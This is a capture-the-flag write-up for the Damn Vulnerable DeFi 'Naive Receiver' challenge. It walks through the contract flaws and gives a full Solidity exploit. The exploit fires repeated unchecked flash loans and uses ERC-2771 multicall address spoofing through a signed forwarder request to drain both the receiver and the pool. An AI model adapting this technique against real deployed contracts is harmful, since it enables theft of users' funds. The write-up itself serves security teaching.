# Damn Vulnerable DeFi V4 - Naive Receiver
[toc]
# Intro
https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/
There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk!
- Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
# Source code
Code file
https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/naive-receiver
Test file
https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/naive-receiver/NaiveReceiver.t.sol
- Finish the test
```sol
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
}
```
<br>
# Analysis
## Win condition
At the test file, check the `is_solved()` condition
- Player must have executed two or less transactions
- The flashloan receiver contract has been emptied
- Pool is empty too
- All funds sent to recovery account
```solidity
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
// The flashloan receiver contract has been emptied
assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
// Pool is empty too
assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
// All funds sent to recovery account
assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}
```
<br>
## Drainer the `receiver`
- There's no `receiver` condition check, means anyone can start flashLoan as the receiver's behave
- The `FIXED_FEE` = `1 ether` when the `receiver` payback the flashLoan
- **So run 10 times should able to drain the receiver's funds**
```solidity=43
// NaiveReceiverPool.sol
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != address(weth)) revert UnsupportedCurrency();
// Transfer WETH and handle control to receiver
weth.transfer(address(receiver), amount);
totalDeposits -= amount;
if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
uint256 amountWithFee = amount + FIXED_FEE;
weth.transferFrom(address(receiver), address(this), amountWithFee);
totalDeposits += amountWithFee;
deposits[feeReceiver] += FIXED_FEE;
return true;
}
```
<br>
## Drain the pool
- There's s customized check for the `msg.sender`
- **It is a changable mseeage sender**
- The real `msg.sender` has to be a `trustedForwarder`
- If matched, it takes the last 20 bytes from `msg.data` as `msg.sender` and return
- So to drain the pool, we have to run the `withdrawal` as pools behave
```solidity=
// NaiveReceiverPool.sol
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
...
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
```
<br>
## BasicForwarder contract
This is a EIP712 contract with the ability to validate/execute the `Request` struct
- With the EIP712, we can combine milti-transction into one
- To run the `Request` struct, you have to generate a signature
Noticible, we are able to customise the `from` and the `msg.callData`
```sol=
// BasicForwarder.sol
struct Request {
address from;
address target;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 deadline;
}
...
function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
_checkRequest(request, signature);
nonces[request.from]++;
uint256 gasLeft;
uint256 value = request.value; // in wei
address target = request.target;
bytes memory payload = abi.encodePacked(request.data, request.from);
uint256 forwardGas = request.gas;
assembly {
success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
gasLeft := gas()
}
if (gasLeft < request.gas / 63) {
assembly {
invalid()
}
}
}
```
<br>
## Enumeration
The `deployer` is the same with `feeReceiver`
NaiveReceiver.t.sol
```sol=46
// NaiveReceiver.t.sol
// Deploy pool and fund with ETH
pool = new NaiveReceiverPool{value: WETH_IN_POOL}(
address(forwarder),
payable(weth),
deployer
);
```
NaiveReceiverPool.sol file
```sol=
// NaiveReceiverPool.sol
constructor(address _trustedForwarder, address payable _weth, address _feeReceiver) payable {
weth = WETH(_weth);
trustedForwarder = _trustedForwarder;
feeReceiver = _feeReceiver;
_deposit(msg.value);
}
```
<br>
This 2 values are the same. Since the `feeReceiver` has money in the mapping, this help us fulfills the following
- `deposits[_msgSender()] -= amount;` won't underflow
- `trustedForwarder` requirement (since the true `msg.sender` will be forwarder, able to pass the check)
```sol=
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
...
uint256 amountWithFee = amount + FIXED_FEE;
weth.transferFrom(address(receiver), address(this), amountWithFee);
totalDeposits += amountWithFee;
deposits[feeReceiver] += FIXED_FEE;
return true;
}
...
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
...
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
```
<br>
# Attack
## How to attack?
Following are the win condition with the method to fulfill
- Player must have executed two or less transactions
- Use `multi-call`
- 10 flash loans - `receiver` as the receive address
- 1 withdrawal to `player` - Put the `deployer` address in `callData`
- Prepare the signature
- The flashloan receiver contract has been emptied
- Execute 10 times flash loan as receiver's behave
- Pool is empty too
- `withdrawal()` to the `player` in the last multi-call
- All funds sent to recovery account
- `player` transfer to the `recovery`
<br>
```solidity=
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
...
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
// This is for old question (V3) only require to drain the receiver's address
// console.log(weth.balanceOf(address(receiver)));
// for (int i = 0; i < 10; i++) {
// pool.flashLoan(
// IERC3156FlashBorrower(receiver),
// address(weth),
// 1 ether,
// bytes("")
// );
// }
// console.log(weth.balanceOf(address(pool)));
// weth.transfer(recovery, 1 ether);
// pool.withdraw(weth.balanceOf(address(pool)), payable(recovery));
// console.log(weth.balanceOf(address(receiver)));
// ---------------------------------------
// First call, drain the receiver
bytes memory call1 = abi.encodeCall(
pool.flashLoan,
(IERC3156FlashBorrower(receiver), address(weth), 1 ether, bytes(""))
);
// Second call, send the funds as pool's behave via forwarder
uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER;
bytes memory call2 = abi.encodePacked(
abi.encodeCall(pool.withdraw, (total, payable(player))),
deployer // msg.Data to bypass the _msgSender()
//deployer 和 feeReceiver 是同一个地址
);
// prepare the multi-call in data array
bytes[] memory data = new bytes[](11);
for (uint256 i = 0; i < 10; ++i) {
data[i] = call1;
}
data[10] = call2;
// Construte the request
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 1000000,
nonce: 0,
data: abi.encodeCall(pool.multicall, (data)),
deadline: block.timestamp
});
// prepare the signature
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
bytes memory signature = abi.encodePacked(r, s, v);
// Call the forwarder
forwarder.execute(request, signature);
// Send the funds to the recovery address
weth.transfer(recovery, total);
}
```
<br>
# Reference
https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure